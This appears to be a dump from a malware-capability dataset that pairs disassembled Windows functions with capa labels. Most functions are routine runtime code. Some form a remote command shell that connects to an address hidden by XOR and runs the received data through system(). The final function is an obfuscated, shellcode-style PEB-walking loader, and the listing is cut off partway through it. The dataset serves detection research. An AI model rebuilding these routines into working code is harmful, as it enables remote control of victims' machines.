joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006d4a0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x28
cmp dword [rdx + 8], 0x100
jne 0x14006d4d1
mov r9, qword [rdx + 0x18]
mov r8, qword [rdx + 0x10]
mov rcx, qword [rcx + 0x4f8]
mov edx, 0x100
call qword [sym.imp.USER32.dll_SendMessageW]
mov eax, 1
add rsp, 0x28
ret
add rsp, 0x28
jmp fcn.14002a650
Function at 0x14006f040
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, reloc.mfc90u.dll_CChevronOwnerDrawMenu::CChevronOwnerDrawMenu
mov rax, qword [0x1400c2038]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor eax, eax
movzx ebx, cl
mov dword [rsp + 0x24], 0x5c3a40
mov byte [rsp + 0x24], cl
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x28], al
mov byte [rsp + 0x30], al
call sub.MSVCR90.dll_memset
movzx eax, word [0x14009cfe8]
lea r11, [rsp + 0x20]
mov word [r11], ax
movzx eax, byte [0x14009cfea]
lea rcx, [rsp + 0x24]
mov byte [r11 + 2], al
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x14006f0b5
xor al, al
jmp 0x14006f0e7
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov r8d, new[]
mov byte [rsp + 0x20], bl
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
lea rdx, str.Floppy
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCR90.dll_strstr]
test rax, rax
sete al
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140077470
add rsp, reloc.mfc90u.dll_CChevronOwnerDrawMenu::CChevronOwnerDrawMenu
pop rbx
ret

Function at 0x14006f100
Capabilities:
Get disk information via ioctl

Disassembly:
push rbx
sub rsp, 0x50
xor eax, eax
xor edx, edx
or ebx, 0xffffffff
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x48], eax
lea rax, [rsp + 0x68]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x68], edx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2d1080
mov dword [rsp + 0x28], 0xc
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x44], ebx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x44]
test eax, eax
cmove ecx, ebx
mov eax, ecx
add rsp, 0x50
pop rbx
ret
Function at 0x140074e20
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x30
mov rax, qword [0x1400c2038]
xor rax, rsp
mov qword [rsp + 0x20], rax
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor ebx, ebx
mov esi, eax
mov qword [rsp + 0x48], rdi
bt esi, ebx
jae 0x140074e75
lea edi, [rbx + 0x41]
movzx ecx, dil
call fcn.14006f040
test al, al
je 0x140074e75
movzx edx, dil
mov rcx, rbp
call fcn.140074880
test eax, eax
jne 0x140074ea0
inc ebx
cmp ebx, 0x1a
jl 0x140074e50
xor al, al
mov rdi, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
xor rcx, rsp
call fcn.140077470
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rsi
ret
mov al, 1
jmp 0x140074e7e
Function at 0x140076690
Capabilities:
Set registry value

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov rdi, rdx
xor esi, esi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x48], esi
lea rdx, str.IDS_REGISTER_REG_PATH
lea rcx, [rsp + 0x78]
call qword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_class]
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x30]
call fcn.140004960
nop
mov r9, rax
lea r8, [rsp + 0x40]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x70]
call fcn.14001f570
mov ebx, eax
lea rcx, [rsp + 0x30]
call qword [sym.imp.mfc90u.dll_CView::CView]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.mfc90u.dll_CView::CView]
test ebx, ebx
je 0x14007677d
lea rdx, str.IDS_REGISTER_REG_PATH
lea rcx, [rsp + 0x78]
call qword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::CStringT_wchar_t_class]
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x30]
call fcn.140004960
nop
mov r9, rax
lea r8, [rsp + 0x40]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x70]
call fcn.140055c40
mov ebx, eax
lea rcx, [rsp + 0x30]
call qword [sym.imp.mfc90u.dll_CView::CView]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.mfc90u.dll_CView::CView]
test ebx, ebx
je 0x14007677d
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140076779
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x1400767d6
mov rdi, qword [rdi]
test rdi, rdi
setne sil
mov rbx, qword [rsp + 0x40]
test esi, esi
jne 0x140076795
lea edi, [rsi + 0xd]
jmp 0x1400767c6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.keyCode
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test rbx, rbx
je 0x1400767d4
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x14007799f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400c2038]
jne 0x14007748a
rol rcx, 0x10
test cx, 0xffff
jne 0x140077486
repz ret
ror rcx, 0x10
jmp 0x1400778f8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400c8c50]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400c8d48]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14007797d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400c8c50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14007799f
mov rax, qword [rsp + 0x88]
mov qword [0x1400c8d48], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400c8ce8], rax
mov rax, qword [0x1400c8d48]
mov qword [0x1400c8bc0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400c8cd0], rax
mov dword [0x1400c8bb0], 0xc0000409
mov dword [0x1400c8bb4], 1
mov rax, qword [0x1400c2038]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400c2040]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400c8c48], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14008ab40]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400c8c48], 0
jne 0x140077a26
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140001910
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000195a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000195a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000195a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000195a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000195a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000195c
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0040a840]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x0040a850]
mov dword [rax], 1
mov rax, qword [0x0040a860]
mov dword [rax], 1
mov rax, qword [0x0040a7e0]
cmp word [rax], 0x5a4d
jne 0x40105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x0040a830]
mov dword [0x0040d020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x0040a910]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x0040a8f0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0040a790]
cmp dword [rax], 1
je 0x4010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401110
cmp dx, 0x20b
jne 0x40105a
cmp dword [rax + 0x84], 0xe
jbe 0x40105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x40105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x40105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x40105a

Function at 0x4015dd
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x40162a
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.WSAStartup_failed_with_error__d_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x401749
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x160], rax
cmp qword [rbp + 0x160], 0xffffffffffffffff
jne 0x401681
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.socket_failed_with_error__d_n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401749
mov word [rbp - 0x50], 2
mov dword [rbp - 0x54], 0x400000a
mov dword [rbp + 0x16c], 0
jmp 0x4016bf
mov eax, dword [rbp + 0x16c]
cdqe
movzx eax, byte [rbp + rax - 0x54]
xor eax, 1
mov edx, eax
mov eax, dword [rbp + 0x16c]
cdqe
mov byte [rbp + rax - 0x54], dl
add dword [rbp + 0x16c], 1
cmp dword [rbp + 0x16c], 3
jle 0x40169a
mov ecx, 0x1f40
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x4e], ax
lea rax, [rbp - 0x54]
mov eax, dword [rax]
mov dword [rbp - 0x4c], eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x160]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
jne 0x401742
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.connect_failed_with_error__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x160]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401749
mov rax, qword [rbp + 0x160]
add rsp, 0x1f0
pop rbp
ret
Function at 0x401752
Capabilities:
Execute command
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x430
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3c0], rcx
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x3c0]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x3ac], eax
cmp dword [rbp + 0x3ac], 0xffffffff
jne 0x4017b7
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.recv_failed_with_error__d_n
mov rcx, rax
call sym.printf
jmp 0x4017c5
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
jmp 0x401769
nop
add rsp, 0x430
pop rbp
ret

Function at 0x4017cf
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.This_is_dead_code_n
mov rcx, rax
call sym.printf
lea rax, str.echo_This_is_dead_code
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret

Function at 0x401b70
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x401be0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040d0b4]
test esi, esi
mov rbx, rcx
jle 0x401d10
mov rax, qword [0x0040d0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x401c2b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x401cb5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x401c10
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x401d32
mov rax, qword [0x0040d0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x0040d0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401d17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401cae
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x401cc0
add dword [0x0040d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x0040d0b8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401cae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x401c38
mov rax, qword [0x0040d0b8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x4022d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x0040d120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040d100]
test rbx, rbx
je 0x40232c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x402323
test eax, eax
jne 0x402323
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402308
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402540
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x402558
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x402560
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402570
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x4025bd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x4025b4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x4025bf
add rax, 0x28
cmp rax, r9
jne 0x4025a0
xor eax, eax
ret

Function at 0x4025c0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x402650
mov rdx, qword [0x0040a7e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x40263e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x40263e
cmp word [rax + 0x18], 0x20b
jne 0x40263e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x402650
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x402629
add rbx, 0x28
cmp rbx, rdi
je 0x402650
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x402620
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x402660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x0040a7e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x402680
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x402688
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402680
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x4026dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4026d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402680
add rax, 0x28
cmp rax, r9
jne 0x4026c0
xor eax, eax
ret

Function at 0x4026e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040a7e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x4026ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x402708
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x4026ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x402720
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x0040a7e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x402740
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x402748
ret
cmp word [rdx + 0x18], 0x20b
jne 0x402740
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x402790
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x402787
test rcx, rcx
je 0x402740
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x402778
xor eax, eax
ret

Function at 0x4027a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040a7e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x4027bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x4027c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x4027e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x0040a7e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x402800
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x402808
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402800
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x402800
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x402854
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x402860
add rdx, 0x28
cmp r9, rdx
jne 0x402840
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x402870
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x0040a7e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x402892
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x4028a0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402892
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x402892
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x402892
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x4028f5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x402908
add rdx, 0x28
cmp r10, rdx
jne 0x4028e0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x402917
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x402927
mov edx, dword [rax + 0xc]
test edx, edx
je 0x4028fe
test ecx, ecx
jg 0x402910
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x180001150
Capabilities:
Encode data using base64

Disassembly:
push rsi
push rdi
push r12
push r13
sub rsp, 8
movzx r12d, byte [rsp + 0x58]
xor r10d, r10d
mov qword [rsp + 0x30], rbx
xor r11d, r11d
mov qword [rsp + 0x48], r14
xor ebx, ebx
mov qword [rsp], r15
mov rsi, r9
lea edi, [r10 - 1]
mov r14, r8
mov r15, rdx
mov r13, rcx
test r8, r8
je 0x180001262
mov qword [rsp + 0x38], rbp
xor edx, edx
lea ecx, [rdx + 0x10]
nop word [rax + rax]
cmp rbx, r14
jae 0x1800011c5
movzx eax, byte [rbx + r15]
test r12b, r12b
je 0x1800011b9
cmp eax, 0xa
je 0x1800011c5
cmp eax, 0xd
je 0x1800011c5
shl eax, cl
inc rbx
or edx, eax
sub ecx, 8
jns 0x1800011a0
lea r9d, [rcx + 3]
cmp r9d, 0x12
jge 0x18000130f
movsxd rbp, edx
mov ecx, 0x11
sub ecx, r9d
movsxd r8, r11d
mov eax, 0xaaaaaaab
add r8, r13
mul ecx
mov eax, 3
mov ecx, 0x12
shr edx, 2
lea r9d, [rdx + 1]
sub eax, r9d
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edi, [rax + rax*2]
test r12b, r12b
jne 0x1800012d3
add edi, edi
test rsi, rsi
je 0x180001234
mov rax, r10
inc r10
cmp rax, rsi
jb 0x180001234
inc r11d
mov byte [r8], 0xa
inc r8
mov r10d, 1
mov rax, rbp
inc r11d
sar rax, cl
sub rcx, 6
and eax, 0x3f
movzx eax, byte [rax + rdx]
mov byte [r8], al
inc r8
sub r9, 1
jne 0x180001214
cmp rbx, r14
jb 0x180001195
mov rbp, qword [rsp + 0x38]
cmp byte [rsp + 0x50], 0
mov r15, qword [rsp]
mov r14, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x30]
je 0x1800012c5
test r12b, r12b
jne 0x1800012c5
test edi, edi
js 0x1800012c5
lea ecx, [rdi + 6]
movsxd r8, r11d
mov eax, 0xaaaaaaab
add r8, r13
mul ecx
shr edx, 2
mov ecx, edx
test rsi, rsi
je 0x1800012b5
mov rax, r10
inc r10
cmp rax, rsi
jb 0x1800012b5
inc r11d
mov byte [r8], 0xa
inc r8
mov r10d, 1
mov byte [r8], 0x3d
inc r11d
inc r8
sub rcx, 1
jne 0x180001295
mov eax, r11d
add rsp, 8
pop r13
pop r12
pop rdi
pop rsi
ret
add r11d, r9d
add edi, edi
nop dword [rax + rax]
test rsi, rsi
lea rax, [r10 + 1]
lea r8, [r8 + 1]
cmove rax, r10
mov r10, rax
mov rax, rbp
sar rax, cl
sub rcx, 6
and eax, 0x3f
movzx eax, byte [rax + rdx]
mov byte [r8 - 1], al
sub r9, 1
jne 0x1800012e0
jmp 0x18000131d
mov edi, 0x12
test r12b, r12b
je 0x180001254
cmp rbx, r14
jae 0x18000125d
movsxd rcx, r11d
add rcx, r13
nop dword [rax]
movzx eax, byte [rbx + r15]
cmp al, 0xa
je 0x180001341
cmp al, 0xd
jne 0x180001254
mov byte [rcx], al
inc r11d
inc rcx
inc rbx
cmp rbx, r14
jae 0x18000125d
jmp 0x180001330
Function at 0x180004a34
Capabilities:
Parse pe header

Disassembly:
push rdx
xor rdx, rdx
test rdx, rdx
jne 0x180004c39
inc rdx
test rdx, rdx
je 0x1800063ea
pop rdx
push rdx
xor rdx, rdx
test rdx, rdx
jne 0x180004c88
inc rdx
test rdx, rdx
je 0x180006915
pop rdx
push rbx
push rbp
push rdi
push rsi
push r12
push r13
push rax
xor rax, rax
inc rax
test rax, rax
je 0x180006c04
test byte [rcx], ah
add byte [rax], al
pop rax
push rcx
xor rcx, rcx
test rcx, rcx
jne 0x1800064ad
inc rcx
test rcx, rcx
je 0x180006a2e
pop rcx
push r14
push r15
sub rsp, 8
mov rbp, rsp
cmp rdx, 1
jne 0x180006c55
mov r13, rdx
sub rsp, 0x20
push rcx
pop rbx
xor rax, rax
push rdx
xor rdx, rdx
test rdx, rdx
jne 0x180006855
inc rdx
test rdx, rdx
je 0x180004bc2
pop rdx
push rbp
pop rcx
mov r15, rsp
sub rcx, r15
mov rdi, r15
rep stosb byte [rdi], al
push rbx
pop rcx
rdrand rax
cmp al, 0x61
jle 0x180004ae5
cmp al, 0x63
jge 0x180004ae5
sub rax, 2
and rax, 0xff
mov r11, qword gs:[rax]
mov rax, 0x15
add rax, 3
mov rbx, qword [r11 + rax]
mov rax, 0x1f
add rax, 1
mov rbx, qword [rbx + rax]
push rdx
xor rdx, rdx
test rdx, rdx
jne 0x180004bc2
inc rdx
test rdx, rdx
je 0x180006319
pop rdx
mov r12, rbx
add rsp, 0x20
mov qword [r14 + 0x400], rax
mov al, 0xf
add al, 0x39
mov byte [r14], al
mov al, 0x1b
add al, 0x4a
mov byte [r14 + 1], al
mov al, 0x46
add al, 0x1b
mov byte [r14 + 2], al
mov al, 0x24
add al, 0x4c
mov byte [r14 + 3], al
mov al, 0xd
add al, 0x48
mov byte [r14 + 4], al
push rdx
xor rdx, rdx
